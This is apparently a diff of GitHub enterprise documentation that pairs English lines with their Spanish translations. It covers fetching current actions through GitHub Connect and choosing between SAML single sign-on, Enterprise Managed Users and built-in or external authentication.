You can use {% data variables.product.prodname_github_connect %} to allow {% data variables.product.product_name %} to use actions from {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[Enabling automatic access to {% data variables.product.prodname_dotcom_the_website %} actions using {% data variables.product.prodname_github_connect %}](/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)."
|
||||
Puedes utilizar {% data variables.product.prodname_github_connect %} para permitir que {% data variables.product.product_name %} utilice acciones desde {% data variables.product.prodname_dotcom_the_website %}. Para más información, vea "[Habilitación del acceso automático a las acciones de {% data variables.product.prodname_dotcom_the_website %} mediante {% data variables.product.prodname_github_connect %}](/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)".
|
||||
|
||||
Once {% data variables.product.prodname_github_connect %} is configured, you can use the latest version of an action by deleting its local repository in the `actions` organization on your instance. For example, if your enterprise instance is using `v1` of the `actions/checkout` action, and you need to use `{% data reusables.actions.action-checkout %}` which isn't available on your enterprise instance, perform the following steps to be able to use the latest `checkout` action from {% data variables.product.prodname_dotcom_the_website %}:
|
||||
Una vez que se configura {% data variables.product.prodname_github_connect %}, puede usar la versión más reciente de una acción si elimina su repositorio local en la organización `actions` de la instancia. Por ejemplo, si en la instancia de la empresa se usa `v1` de la acción `actions/checkout` y tiene que usar `{% data reusables.actions.action-checkout %}` que no está disponible en la instancia de la empresa, siga estos pasos para poder usar la acción `checkout` más reciente de {% data variables.product.prodname_dotcom_the_website %}:
|
||||
|
||||
1. From an enterprise owner account on {% data variables.product.product_name %}, navigate to the repository you want to delete from the *actions* organization (in this example `checkout`).
|
||||
1. By default, site administrators are not owners of the bundled *actions* organization. To get the access required to delete the `checkout` repository, you must use the site admin tools. Click {% octicon "rocket" aria-label="The rocket ship" %} in the upper-right corner of any page in that repository.
|
||||
|
||||
1. Click {% octicon "shield-lock" %} **Security** to see the security overview for the repository.
|
||||
|
||||
1. Under "Privileged access", click **Unlock**.
|
||||
|
||||
1. Under **Reason**, type a reason for unlocking the repository, then click **Unlock**.
|
||||
|
||||
1. Now that the repository is unlocked, you can leave the site admin pages and delete the repository within the `actions` organization. At the top of the page, click the repository name, in this example **checkout**, to return to the summary page.
|
||||
|
||||
1. Under "Repository info", click **View code** to leave the site admin pages and display the `checkout` repository.
|
||||
1. Delete the `checkout` repository within the `actions` organization. For information on how to delete a repository, see "[Deleting a repository](/github/administering-a-repository/deleting-a-repository)."
|
||||
|
||||
1. Configure your workflow's YAML to use `{% data reusables.actions.action-checkout %}`.
|
||||
1. Each time your workflow runs, the runner will use the specified version of `actions/checkout` from {% data variables.product.prodname_dotcom_the_website %}.
|
||||
1. Desde una cuenta de propietario de empresa en {% data variables.product.product_name %}, vaya al repositorio que quiera eliminar de la organización de *acciones* (en este ejemplo `checkout`).
|
||||
1. De manera predeterminada, los administradores de sitio no son los propietarios de la organización de *acciones* agrupadas. A fin de obtener el acceso necesario para eliminar el repositorio `checkout`, debe usar las herramientas de administración del sitio. Haz clic en {% octicon "rocket" aria-label="The rocket ship" %} en la esquina superior derecha de cualquier página de este repositorio.
|
||||
|
||||
1. Haga clic en {% octicon "shield-lock" %} **Seguridad** para ver la información general de seguridad del repositorio.
|
||||
|
||||
1. En "Acceso con privilegios", haga clic en **Desbloquear**.
|
||||
|
||||
1. En **Motivo**, escriba un motivo para desbloquear el repositorio y, después, haga clic en **Desbloquear**.
|
||||
|
||||
1. Ahora que el repositorio se ha desbloqueado, puede salir de las páginas de administración del sitio y elimina el repositorio dentro de la organización `actions`. En la parte superior de la página, haga clic en el nombre del repositorio, en este ejemplo **checkout**, para volver a la página de resumen.
|
||||
|
||||
1. En "Información del repositorio", haga clic en **Ver código** para salir de las páginas de administración del sitio y mostrar el repositorio `checkout`.
|
||||
1. Elimine el repositorio `checkout` dentro de la organización `actions`. Para obtener información sobre cómo eliminar un repositorio, vea "[Eliminación de un repositorio](/github/administering-a-repository/deleting-a-repository)".
|
||||
|
||||
1. Configure el código YAML del flujo de trabajo para que use `{% data reusables.actions.action-checkout %}`.
|
||||
1. Cada vez que se ejecuta el flujo de trabajo, el ejecutor usará la versión especificada de `actions/checkout` de {% data variables.product.prodname_dotcom_the_website %}.
|
||||
|
||||
{% note %}
|
||||
|
||||
**Note:** The first time the `checkout` action is used from {% data variables.product.prodname_dotcom_the_website %}, the `actions/checkout` namespace is automatically retired on {% data variables.location.product_location %}. If you ever want to revert to using a local copy of the action, you first need to remove the namespace from retirement. For more information, see "[Automatic retirement of namespaces for actions accessed on {% data variables.product.prodname_dotcom_the_website%}](/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect#automatic-retirement-of-namespaces-for-actions-accessed-on-githubcom)."
|
||||
**Nota:** La primera vez que se usa la acción `checkout` desde {% data variables.product.prodname_dotcom_the_website %}, el espacio de nombres `actions/checkout` se retira automáticamente en {% data variables.location.product_location %}. Si alguna vez quieres revertir a utilizar una copia local de la acción, primero necesitas eliminar el designador de nombre de la jubilación. Para más información, vea "[Retiro automático de espacios de nombres para las acciones a las que se accede en {% data variables.product.prodname_dotcom_the_website%}](/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect#automatic-retirement-of-namespaces-for-actions-accessed-on-githubcom)".
|
||||
|
||||
{% endnote %}
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
---
|
||||
title: About authentication for your enterprise
|
||||
title: Acerca de la autenticación para tu empresa
|
||||
shortTitle: About authentication
|
||||
intro: 'You {% ifversion ghae %}must configure SAML single sign-on (SSO) so people can{% else %}can choose how people{% endif %} authenticate to access {% ifversion ghec %}your enterprise''s resources on {% data variables.product.product_name %}{% elsif ghes %}{% data variables.location.product_location %}{% elsif ghae %}your enterprise on {% data variables.product.product_name %}{% endif %}.'
|
||||
intro: '{% ifversion ghae %}Debes configurar el inicio de sesión único (SSO) de SAML para que los usuarios se autentiquen{% else %}Puedes elegir la forma en que los usuarios se autentican{% endif %} para acceder a {% ifversion ghec %}los recursos de la empresa en {% data variables.product.product_name %}{% elsif ghes %}{% data variables.location.product_location %}{% elsif ghae %}la empresa en {% data variables.product.product_name %}{% endif %}.'
|
||||
versions:
|
||||
ghec: '*'
|
||||
ghes: '*'
|
||||
@@ -13,136 +13,140 @@ topics:
|
||||
- Enterprise
|
||||
- Identity
|
||||
- SSO
|
||||
ms.openlocfilehash: 9931a13150ff98d7ab113d37df9622b43367fa1b
|
||||
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 10/25/2022
|
||||
ms.locfileid: '148107025'
|
||||
---
|
||||
|
||||
## About authentication for your enterprise
|
||||
## Acerca de la autenticación para tu empresa
|
||||
|
||||
{% ifversion ghec %}
|
||||
|
||||
Enterprise owners on {% data variables.product.product_name %} can control the requirements for authentication and access to the enterprise's resources.
|
||||
Los propietarios de la empresa en {% data variables.product.product_name %} pueden controlar los requisitos de autenticación y acceso a los recursos de la empresa.
|
||||
|
||||
You can choose to allow members to create and manage user accounts, or your enterprise can create and manage accounts for members with {% data variables.product.prodname_emus %}. If you allow members to manage their own accounts, you can also configure SAML authentication to both increase security and centralize identity and access for the web applications that your team uses.
|
||||
Puedes optar por permitir que los miembros creen y administren cuentas de usuario, o bien la empresa puede crear y administrar cuentas para los miembros con {% data variables.product.prodname_emus %}. Si permites a los miembros administrar sus propias cuentas, también puedes configurar la autenticación SAML para aumentar la seguridad y centralizar la identidad y el acceso a las aplicaciones web que usa el equipo.
|
||||
|
||||
After learning more about these options, to determine which method is best for your enterprise, see "[Identifying the best authentication method for your enterprise](#identifying-the-best-authentication-method-for-your-enterprise)."
|
||||
Después de obtener más información sobre estas opciones, para determinar qué método es mejor para tu empresa, consulta "[Identificación del mejor método de autenticación para la empresa](#identifying-the-best-authentication-method-for-your-enterprise)".
|
||||
|
||||
## Authentication methods for {% data variables.product.product_name %}
|
||||
## Métodos de autenticación para {% data variables.product.product_name %}
|
||||
|
||||
The following options are available for account management and authentication on {% data variables.product.product_name %}.
|
||||
Las siguientes opciones están disponibles para la administración de cuentas y la autenticación en {% data variables.product.product_name %}.
|
||||
|
||||
- [Authentication through {% data variables.location.product_location %}](#authentication-through-githubcom)
|
||||
- [Authentication through {% data variables.location.product_location %} with additional SAML access restriction](#authentication-through-githubcom-with-additional-saml-access-restriction)
|
||||
- [Authentication with {% data variables.product.prodname_emus %} and federation](#authentication-with-enterprise-managed-users-and-federation)
|
||||
- [Autenticación a través de {% data variables.location.product_location %}](#authentication-through-githubcom)
|
||||
- [Autenticación a través de {% data variables.location.product_location %} con restricción de acceso SAML adicional](#authentication-through-githubcom-with-additional-saml-access-restriction)
|
||||
- [Autenticación con {% data variables.product.prodname_emus %} y federación](#authentication-with-enterprise-managed-users-and-federation)
|
||||
|
||||
### Authentication through {% data variables.location.product_location %}
|
||||
### Autenticación a través de {% data variables.location.product_location %}
|
||||
|
||||
By default, each member must create a personal account on {% data variables.location.product_location %}. You grant access to your enterprise, and the member can access your enterprise's resources after signing into the account on {% data variables.location.product_location %}. The member manages the account, and can contribute to other enterprises, organizations, and repositories on {% data variables.location.product_location %}.
|
||||
De forma predeterminada, cada miembro debe crear una cuenta personal en {% data variables.location.product_location %}. Concedes acceso a tu empresa y el miembro puede acceder a los recursos de esta después de iniciar sesión en la cuenta en {% data variables.location.product_location %}. El miembro administra la cuenta y puede contribuir a otras empresas, organizaciones y repositorios en {% data variables.location.product_location %}.
|
||||
|
||||
### Authentication through {% data variables.location.product_location %} with additional SAML access restriction
|
||||
### Autenticación a través de {% data variables.location.product_location %} con restricción de acceso SAML adicional
|
||||
|
||||
If you configure additional SAML access restriction, each member must create and manage a personal account on {% data variables.location.product_location %}. You grant access to your enterprise, and the member can access your enterprise's resources after both signing into the account on {% data variables.location.product_location %} and successfully authenticating with your SAML identity provider (IdP). The member can contribute to other enterprises, organizations, and repositories on {% data variables.location.product_location %} using their personal account. For more information about requiring SAML authentication for all access your enterprise's resources, see "[About SAML for enterprise IAM](/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam)."
|
||||
Si configuras una restricción de acceso SAML adicional, cada miembro debe crear y administrar una cuenta personal en {% data variables.location.product_location %}. Concedes acceso a la empresa y el miembro puede acceder a los recursos de esta después de iniciar sesión en la cuenta en {% data variables.location.product_location %} y autenticarse correctamente con el proveedor de identidades (IdP) de SAML. El miembro puede contribuir en otras empresas, organizaciones y repositorios en {% data variables.location.product_location %} mediante su cuenta personal. Para obtener más información sobre cómo requerir autenticación SAML para todos los recursos de la empresa, consulta "[Acerca de SAML para IAM empresarial](/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam)".
|
||||
|
||||
If you use a standalone organization with {% data variables.product.product_name %}, or if you don't want to use SAML authentication for every organization in your enterprise, you can configure SAML for an individual organization. For more information, see "[About identity and access management with SAML single sign-on](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on)."
|
||||
Si usas una organización independiente con {% data variables.product.product_name %}, o si no deseas usar la autenticación SAML para cada organización de la empresa, puedes configurar SAML para una organización individual. Para más información, vea "[Acerca de la administración de identidades y acceso con el inicio de sesión único de SAML](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on)".
|
||||
|
||||
### Authentication with {% data variables.product.prodname_emus %} and federation
|
||||
### Autenticación con {% data variables.product.prodname_emus %} y federación
|
||||
|
||||
If you need more control of the accounts for your enterprise members on {% data variables.location.product_location %}, you can use {% data variables.product.prodname_emus %}. With {% data variables.product.prodname_emus %}, you provision and manage accounts for your enterprise members on {% data variables.location.product_location %} using your IdP. Each member signs into an account that you create, and your enterprise manages the account. Contributions to the rest of {% data variables.product.prodname_dotcom_the_website %} are restricted. For more information, see "[About {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users)."
|
||||
Si necesitas más control de las cuentas de los miembros de la empresa en {% data variables.location.product_location %}, puedes usar {% data variables.product.prodname_emus %}. Con {% data variables.product.prodname_emus %}, aprovisionas y administras cuentas para los miembros de la empresa en {% data variables.location.product_location %} mediante el IdP. Cada miembro inicia sesión en una cuenta que creas y la empresa la administra. Las contribuciones al resto de {% data variables.product.prodname_dotcom_the_website %} están restringidas. Para más información, vea "[Acerca de {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users)".
|
||||
|
||||
## Identifying the best authentication method for your enterprise
|
||||
## Identificación del mejor método de autenticación para la empresa
|
||||
|
||||
Both SAML SSO and {% data variables.product.prodname_emus %} increase security for your enterprise's resources. {% data variables.product.prodname_emus %} additionally allows you to control the user accounts for your enterprise members and restricts what the accounts are able to do. However, those restrictions may be unacceptable for your enterprise if they obstruct your developers' workflows.
|
||||
Tanto el inicio de sesión único de SAML como {% data variables.product.prodname_emus %} aumentan la seguridad de los recursos de la empresa. Además, {% data variables.product.prodname_emus %} permite controlar las cuentas de usuario de los miembros de la empresa y restringe lo que pueden hacer las cuentas. Pero estas restricciones pueden ser inaceptables para tu empresa si obstruyen los flujos de trabajo de los desarrolladores.
|
||||
|
||||
To determine whether your enterprise would benefit more from SAML SSO or {% data variables.product.prodname_emus %}, ask yourself these questions.
|
||||
Para determinar si tu empresa se beneficiaría más del inicio de sesión único de SAML o de {% data variables.product.prodname_emus %}, hazte estas preguntas.
|
||||
|
||||
- [Do you want to control the user accounts for your users?](#do-you-want-to-control-the-user-accounts-for-your-users)
|
||||
- [Which identity provider does your enterprise use?](#which-identity-provider-does-your-enterprise-use)
|
||||
- [Do your developers work in public repositories, gists, or {% data variables.product.prodname_pages %} sites?](#do-your-developers-work-in-public-repositories-gists-or-github-pages-sites)
|
||||
- [Do your developers rely on collaboration outside of your enterprise?](#do-your-developers-rely-on-collaboration-outside-of-your-enterprise)
|
||||
- [Does your enterprise rely on outside collaborators?](#does-your-enterprise-rely-on-outside-collaborators)
|
||||
- [Can your enterprise tolerate migration costs?](#can-your-enterprise-tolerate-migration-costs)
|
||||
- [¿Quieres controlar las cuentas de los usuarios?](#do-you-want-to-control-the-user-accounts-for-your-users)
|
||||
- [¿Qué proveedor de identidades usa tu empresa?](#which-identity-provider-does-your-enterprise-use)
|
||||
- [¿Los desarrolladores trabajan en repositorios públicos, gists o sitios de {% data variables.product.prodname_pages %}?](#do-your-developers-work-in-public-repositories-gists-or-github-pages-sites)
|
||||
- [¿Los desarrolladores se basan en colaboraciones fuera de la empresa?](#do-your-developers-rely-on-collaboration-outside-of-your-enterprise)
|
||||
- [¿La empresa depende de colaboradores externos?](#does-your-enterprise-rely-on-outside-collaborators)
|
||||
- [¿Puede la empresa tolerar costes de migración?](#can-your-enterprise-tolerate-migration-costs)
|
||||
|
||||
### Do you want to control the user accounts for your users?
|
||||
### ¿Quieres controlar las cuentas de los usuarios?
|
||||
|
||||
{% data variables.product.prodname_emus %} may be right for your enterprise if you don't want enterprise members to use their own personal accounts on {% data variables.product.prodname_dotcom_the_website %} to access your enterprise's resources.
|
||||
{% data variables.product.prodname_emus %} puede ser adecuado para tu empresa si no quieres que los miembros de la empresa usen sus cuentas personales en {% data variables.product.prodname_dotcom_the_website %} para acceder a los recursos de la empresa.
|
||||
|
||||
With SAML SSO, developers create and manage their own personal accounts, and each account is linked to a SAML identity in your IdP. {% data variables.product.prodname_emus %} functions more like other familiar SSO solutions, as you will provision the accounts for your users. You can also ensure user accounts conform with your company identity, by controlling usernames and the email addresses associated with the accounts.
|
||||
Con el inicio de sesión único de SAML, los desarrolladores crean y administran sus cuentas personales y cada cuenta está vinculada a una identidad de SAML en el IdP. {% data variables.product.prodname_emus %} funciona más bien como otras soluciones de inicio de sesión único conocidas, ya que serás tú quien aprovisione las cuentas de los usuarios. También puedes asegurarte de que las cuentas de usuario se adapten a la identidad de la empresa si controlas los nombres de usuario y las direcciones de correo electrónico asociadas a las cuentas.
|
||||
|
||||
If you currently require your users to create a new account on {% data variables.product.prodname_dotcom_the_website %} to use with your enterprise only, {% data variables.product.prodname_emus %} might be right for you. However, SAML SSO may be a better option if using your IdP as the source of truth for your user and access management would add too much complexity. For example, perhaps your enterprise does not have an established process for onboarding new users in your IdP.
|
||||
Si actualmente obligas a los usuarios a crear una cuenta en {% data variables.product.prodname_dotcom_the_website %} para usarla solo con tu empresa, probablemente {% data variables.product.prodname_emus %} sea una solución adecuada para ti. En cambio, el inicio de sesión único de SAML puede ser una opción mejor si usas el IdP como origen de confianza para el usuario y si la administración de acceso agrega demasiada complejidad. Por ejemplo, quizás tu empresa no tenga un proceso establecido para incorporar nuevos usuarios en el IdP.
|
||||
|
||||
### Which identity provider does your enterprise use?
|
||||
### ¿Qué proveedor de identidades usa tu empresa?
|
||||
|
||||
{% data variables.product.prodname_emus %} is supported for a limited number of IdPs, while SAML SSO offers full support for a larger number of IdPs, plus limited support for all IdPs that implement the SAML 2.0 standard. For the list of supported IdPs for each option, see "[About {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users#identity-provider-support)" and "[About SAML for enterprise IAM](/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam#supported-idps)."
|
||||
{% data variables.product.prodname_emus %} se admite para un número limitado de IdP, mientras que el inicio de sesión único de SAML ofrece compatibilidad completa con un mayor número de IdP, así como compatibilidad limitada con todos los IdP que implementan el estándar SAML 2.0. Para ver la lista de IdP admitidos para cada opción, consulta "[Acerca de {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users#identity-provider-support)" y "[Acerca de SAML para IAM empresarial](/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam#supported-idps)".
|
||||
|
||||
You can use {% data variables.product.prodname_emus %} with an unsupported IdP only if you federate the unsupported IdP to a supported IdP to use as an integration point. If you wish to avoid this extra complexity, SAML SSO may be a better solution for you.
|
||||
Puedes usar {% data variables.product.prodname_emus %} con un IdP no admitido solo si federas el IdP no admitido en un IdP compatible para usarlo como punto de integración. Si quieres evitar esta complejidad adicional, el inicio de sesión único de SAML puede ser una mejor solución para ti.
|
||||
|
||||
### Do your developers work in public repositories, gists, or {% data variables.product.prodname_pages %} sites?
|
||||
### ¿Los desarrolladores trabajan en repositorios públicos, gists o sitios de {% data variables.product.prodname_pages %}?
|
||||
|
||||
To prevent enterprise members from accidentally leaking corporate-owned content to the public on {% data variables.product.prodname_dotcom_the_website %}, {% data variables.product.prodname_emus %} imposes strong restrictions on what users can do. For example, {% data variables.enterprise.prodname_managed_users %} cannot create public repositories, gists of any visibility, or {% data variables.product.prodname_pages %} sites that are visible outside the enterprise. For a full list of restrictions, see "[Abilities and restrictions of {% data variables.enterprise.prodname_managed_users %}](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users#abilities-and-restrictions-of-managed-users)."
|
||||
Para impedir que los miembros de la empresa filtren accidentalmente al público contenido corporativo en {% data variables.product.prodname_dotcom_the_website %}, {% data variables.product.prodname_emus %} impone restricciones rigurosas a lo que pueden hacer los usuarios. Por ejemplo, las {% data variables.enterprise.prodname_managed_users %} no pueden crear repositorios públicos, gists con ningún tipo de visibilidad o sitios de {% data variables.product.prodname_pages %} que sean visibles fuera de la empresa. Para ver una lista completa de restricciones, consulta "[Capacidades y restricciones de las {% data variables.enterprise.prodname_managed_users %}](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users#abilities-and-restrictions-of-managed-users)".
|
||||
|
||||
These restrictions are unacceptable for some enterprises. To determine whether {% data variables.product.prodname_emus %} will work for you, review the restrictions with your developers, and confirm whether any of the restrictions will hinder your existing workflows. If so, SAML SSO may be a better choice for your enterprise.
|
||||
Estas restricciones son inaceptables para algunas empresas. Para determinar si {% data variables.product.prodname_emus %} es una opción adecuada para ti, revisa las restricciones con los desarrolladores y confirma si alguna de ellas dificultará los flujos de trabajo existentes. Si es así, el inicio de sesión único de SAML puede ser una mejor opción para tu empresa.
|
||||
|
||||
### Do your developers rely on collaboration outside of your enterprise?
|
||||
### ¿Los desarrolladores se basan en colaboraciones fuera de la empresa?
|
||||
|
||||
{% data variables.enterprise.prodname_managed_users_caps %} can only contribute to repositories within your enterprise. If your developers must contribute to both repositories within and outside of your enterprise, including private repositories, {% data variables.product.prodname_emus %} may not be right for your enterprise. SAML SSO may be a better solution.
|
||||
Las {% data variables.enterprise.prodname_managed_users_caps %} solo puede contribuir en repositorios de dentro de la empresa. Si los desarrolladores deben contribuir a repositorios dentro y fuera de la empresa, incluidos los repositorios privados, es posible que {% data variables.product.prodname_emus %} no sea adecuado para la empresa. El inicio de sesión único de SAML puede ser una mejor solución.
|
||||
|
||||
Some companies maintain repositories within an existing enterprise using SAML SSO on {% data variables.location.product_location %}, and also create an {% data variables.enterprise.prodname_emu_enterprise %}. Developers who contribute to repositories owned by both enterprises from a single workstation must switch between the accounts on {% data variables.location.product_location %} within a single browser, or use a different browser for each account. The developer may also need to customize the workstation's Git configuration to accommodate the two accounts. The complexity of this workflow can increase the risk of mistakenly leaking internal code to the public.
|
||||
Algunas compañías mantienen repositorios en una empresa existente mediante el inicio de sesión único de SAML en {% data variables.location.product_location %}, y también crean una {% data variables.enterprise.prodname_emu_enterprise %}. Los desarrolladores que contribuyen a los repositorios que pertenecen a ambas empresas desde una única estación de trabajo deben cambiar entre las cuentas de {% data variables.location.product_location %} en un solo explorador, o bien usar un explorador diferente con cada cuenta. Es posible que el desarrollador también tenga que personalizar la configuración de Git de la estación de trabajo para dar cabida a las dos cuentas. La complejidad de este flujo de trabajo puede aumentar el riesgo de filtrar código interno al público de forma accidental.
|
||||
|
||||
If you decide to create an {% data variables.enterprise.prodname_emu_enterprise %} but require that developers contribute to resources outside of the enterprise from a single workstation, you can provide support for switching between the accounts in a developer's local Git configuration. For more information, see "[About {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users#supporting-developers-with-multiple-user-accounts-on-githubcom)."
|
||||
Si decides crear una {% data variables.enterprise.prodname_emu_enterprise %}, pero requieres que los desarrolladores contribuyan en los recursos fuera de la empresa desde una única estación de trabajo, puedes proporcionar compatibilidad para cambiar entre las cuentas en la configuración de Git local de un desarrollador. Para más información, vea "[Acerca de {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users#supporting-developers-with-multiple-user-accounts-on-githubcom)".
|
||||
|
||||
### Does your enterprise rely on outside collaborators?
|
||||
### ¿La empresa depende de colaboradores externos?
|
||||
|
||||
With SAML SSO, you can give access to specific repositories to people who are not members of your IdP's directory, by using the outside collaborator role. This can be especially useful for collaborators that are external to your business, such as contractors. For more information, see "[Adding outside collaborators to repositories in your organization](/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization)."
|
||||
Con el inicio de sesión único de SAML, puedes conceder acceso a repositorios específicos a personas que no son miembros del directorio del IdP mediante el rol de colaborador externo. Esto puede ser especialmente útil para colaboradores externos del negocio, como contratistas. Para obtener más información, consulta "[Incorporación de colaboradores externos a repositorios de la organización](/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization)".
|
||||
|
||||
With {% data variables.product.prodname_emus %}, the outside collaborator role does not exist. Your enterprise's resources can only be accessed by {% data variables.enterprise.prodname_managed_users %}, which are always provisioned by your IdP. To give external collaborators access to your enterprise, you would have to use guest accounts in your IdP. If you're interested in {% data variables.product.prodname_emus %}, confirm with your developers whether this will hinder any of their existing workflows. If so, SAML SSO may be a better solution.
|
||||
Con {% data variables.product.prodname_emus %}, el rol de colaborador externo no existe. Solo se puede acceder a los recursos de la empresa mediante {% data variables.enterprise.prodname_managed_users %}, que siempre aprovisiona el IdP. Para conceder a los colaboradores externos acceso a tu empresa, tendrías que usar cuentas de invitado en el IdP. Si la opción de {% data variables.product.prodname_emus %} te interesa, consulta a los desarrolladores si será un obstáculo para alguno de sus flujos de trabajo existentes. Si es así, el inicio de sesión único de SAML puede ser una mejor solución.
|
||||
|
||||
### Can your enterprise tolerate migration costs?
|
||||
### ¿Puede la empresa tolerar costes de migración?
|
||||
|
||||
If your enterprise is new to {% data variables.product.prodname_dotcom_the_website %}, SAML SSO and {% data variables.product.prodname_emus %} are equally easy to adopt.
|
||||
Si la empresa no está familiarizada con {% data variables.product.prodname_dotcom_the_website %}, el inicio de sesión único de SAML y {% data variables.product.prodname_emus %} son igual de fáciles de adoptar.
|
||||
|
||||
If you're already using {% data variables.product.prodname_dotcom_the_website %} with developers managing their own user accounts, adopting {% data variables.product.prodname_emus %} requires migrating to a new enterprise account. For more information, see "[About enterprises with {% data variables.enterprise.prodname_managed_users %}](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users#about-enterprises-with-managed-users)."
|
||||
Si ya usas {% data variables.product.prodname_dotcom_the_website %} y los desarrolladores administran sus cuentas de usuario, la adopción de {% data variables.product.prodname_emus %} requiere la migración a una nueva cuenta empresarial. Para obtener más información, consulta "[Acerca de las empresas con {% data variables.enterprise.prodname_managed_users %}](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users#about-enterprises-with-managed-users)".
|
||||
|
||||
Although {% data variables.product.prodname_emus %} is free, the migration process may require time or cost from your team. Confirm that this migration process is acceptable to your business and your developers. If not, SAML SSO may be the better choice for you.
|
||||
Aunque el uso de {% data variables.product.prodname_emus %} es gratuito, el proceso de migración puede requerir tiempo o imponer costes al equipo. Confirma que este proceso de migración es aceptable para la empresa y los desarrolladores. Si no es así, el inicio de sesión único de SAML puede ser la mejor opción.
|
||||
|
||||
{% elsif ghes %}
|
||||
|
||||
Site administrators can decide how people authenticate to access a {% data variables.product.product_name %} instance. You can use {% data variables.product.product_name %}'s built-in authentication, or, if you want to centralize identity and access management for the web applications that your team uses, you can configure an external authentication method.
|
||||
Los administradores del sitio pueden decidir cómo se autentican los usuarios para acceder a una instancia de {% data variables.product.product_name %}. Puedes usar la autenticación integrada de {% data variables.product.product_name %}, o bien, si quieres centralizar la administración de identidades y acceso para las aplicaciones web que usa el equipo, puedes configurar un método de autenticación externo.
|
||||
|
||||
## Authentication methods for {% data variables.product.product_name %}
|
||||
## Métodos de autenticación para {% data variables.product.product_name %}
|
||||
|
||||
The following authentication methods are available for {% data variables.product.product_name %}.
|
||||
Los siguientes métodos de autenticación están disponibles para {% data variables.product.product_name %}.
|
||||
|
||||
- [Built-in authentication](#built-in-authentication)
|
||||
- [External authentication](#external-authentication)
|
||||
- [Autenticación integrada](#built-in-authentication)
|
||||
- [Autenticación externa](#external-authentication)
|
||||
|
||||
### Built-in authentication
|
||||
### Autenticación integrada
|
||||
|
||||
{% data reusables.enterprise_user_management.built-in-authentication-new-accounts %} To access your instance, people authenticate with the credentials for the account. For more information, see "[Configuring built-in authentication](/admin/identity-and-access-management/using-built-in-authentication/configuring-built-in-authentication)."
|
||||
{% data reusables.enterprise_user_management.built-in-authentication-new-accounts %} Para acceder a la instancia, los usuarios se autentican con las credenciales de la cuenta. Para obtener más información, consulta "[Configuración de la autenticación integrada](/admin/identity-and-access-management/using-built-in-authentication/configuring-built-in-authentication)".
|
||||
|
||||
### External authentication
|
||||
### Autenticación externa
|
||||
|
||||
If you use an external directory or identity provider (IdP) to centralize access to multiple web applications, you may be able to configure external authentication for {% data variables.location.product_location %}. For more information, see the following articles.
|
||||
Si usas un directorio externo o un proveedor de identidades (IdP) para centralizar el acceso a varias aplicaciones web, es posible que puedas configurar la autenticación externa para {% data variables.location.product_location %}. Para obtener más información, consulte los siguientes artículos.
|
||||
|
||||
- "[Using CAS for enterprise IAM](/admin/identity-and-access-management/using-cas-for-enterprise-iam)"
|
||||
- "[Using LDAP for enterprise IAM](/admin/identity-and-access-management/using-ldap-for-enterprise-iam)"
|
||||
- "[Using SAML for enterprise IAM](/admin/identity-and-access-management/using-saml-for-enterprise-iam)"
|
||||
- "[Uso de CAS para IAM empresarial](/admin/identity-and-access-management/using-cas-for-enterprise-iam)"
|
||||
- "[Uso de LDAP para IAM empresarial](/admin/identity-and-access-management/using-ldap-for-enterprise-iam)"
|
||||
- "[Uso de SAML para IAM empresarial](/admin/identity-and-access-management/using-saml-for-enterprise-iam)"
|
||||
|
||||
If you choose to use external authentication, you can also configure fallback authentication for people who don't have an account on your external authentication provider. For example, you may want to grant access to a contractor or machine user. For more information, see "[Allowing built-in authentication for users outside your provider](/admin/identity-and-access-management/managing-iam-for-your-enterprise/allowing-built-in-authentication-for-users-outside-your-provider)."
|
||||
Si decides usar la autenticación externa, también puedes configurar la autenticación de reserva para los usuarios que no tienen una cuenta en el proveedor de autenticación externo. Por ejemplo, puede que desees conceder acceso a un contratista o usuario de máquina. Para obtener más información, consulta "[Permiso para la autenticación integrada para usuarios fuera del proveedor](/admin/identity-and-access-management/managing-iam-for-your-enterprise/allowing-built-in-authentication-for-users-outside-your-provider)".
|
||||
|
||||
{% ifversion scim-for-ghes %}
|
||||
|
||||
If you use SAML SSO for authentication, you can also provision users and map IdP groups to teams using SCIM. For more information, see "[Configuring user provisioning with SCIM for your enterprise](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-with-scim-for-your-enterprise)."
|
||||
